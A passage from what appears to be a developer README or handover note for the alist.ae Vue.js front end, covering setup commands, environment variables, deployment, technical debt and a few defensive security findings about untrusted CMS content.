scss@0.2.4; commit a build-time grep gate for hardcoded *.alist.ae hosts.user_hash is set server-side before identifying users.src/store/actions.js (460 lines, 30+ Strapi fetchers with hand-built populate strings) and src/Pages/SignUpVer2.vue (~25KB, 600+ lines) are the two largest files and accumulate most of the technical debt.components/Form/creator/, components/Form/creator/newForm/) and Pages/SignUp.vue appear unreferenced from the router. Estimated 20–30% of components/Form is dead.npm run lint is not enforced by any pipeline.node-sass and vue-template-compiler are anachronisms. package-lock.json and yarn.lock are both committed — pick one.# node 18+ recommended; node-sass may fail on node 22 / Apple Silicon
yarn install # or npm install — both lockfiles are present (yarn.lock first)
cp .env.example .env # FILE DOES NOT EXIST — create manually, see Environment below
npm run serve # dev server on http://localhost:8080
npm run build # generate-sitemap then prod webpack build to /dist
npm run lint # vue-cli-service lint (no autofix flag set)
VUE_APP_STRAPI_URL — Strapi v4 base, e.g. https://strapi.alist.ae/VUE_APP_STRAPI_URL_ASSESTS — (typo'd) base for media URLs, usually same host as StrapiVUE_APP_API_URL — PHP backend base (signups, careers, locations, general-settings)VUE_APP_ADMIN_URL — declared but unused; can be left blankVUE_APP_CLIENT_ID — Google OAuth client id for YouTube connectVUE_APP_REDIRECT_URI — must match origin + /connect-youtube exactly/dist — static SPA, deploy behind any host that rewrites unknown paths to /index.html (Nginx try_files, Vercel/Netlify rewrites, S3+CloudFront redirect rules).CI is bitbucket-pipelines.yml, which only mirrors master to github.com/parhamramezani/alist via a personal access token ($GITHUB_TOKEN). The actual production deploy is not in this repo — confirm with the platform team (Cloudflare Pages / S3 / Vercel are likely candidates given the SPA-only build output). DNS points to alist.ae; OG/canonical tags use https://www.alist.ae/. The Strapi CMS lives at strapi.alist.ae in prod and dev-strapi.alist.ae in dev — both must be CORS-permissive for the SPA origins.
src/components/Form/creator/newFormVer2/. The other two folders are dead. Trace from src/router/index.js through the page component to confirm before changing anything.src/router/index.js, generate-sitemap.js, and (if SEO matters) src/config/meta.js.populate[0]=...&populate[1]=...) — keep that pattern when adding new collections so the CMS team can match.main.js based on store.state.isRtl. Switching language mid-session does not re-import; the app must reload. App.vue also force-disables .rtl on /brand-signups.v-html anywhere — good. But CMS-derived URLs are bound raw into :href (AW-01) and markdown-vue renders CMS markdown with allowDangerousHtml (AW-13): treat every Strapi field as untrusted and never switch markdown rendering to v-html.public/index.html, not in env vars (AW-19). Inventory listed in the CLAUDE.md if you need to rotate them — though the IDs themselves are public by design.YouTubeCallback.vue:61-66 looking for Undefined variable/Fatal error in the redirect URL, which means the OAuth-handling backend at VUE_APP_API_URL is a PHP service in another repo.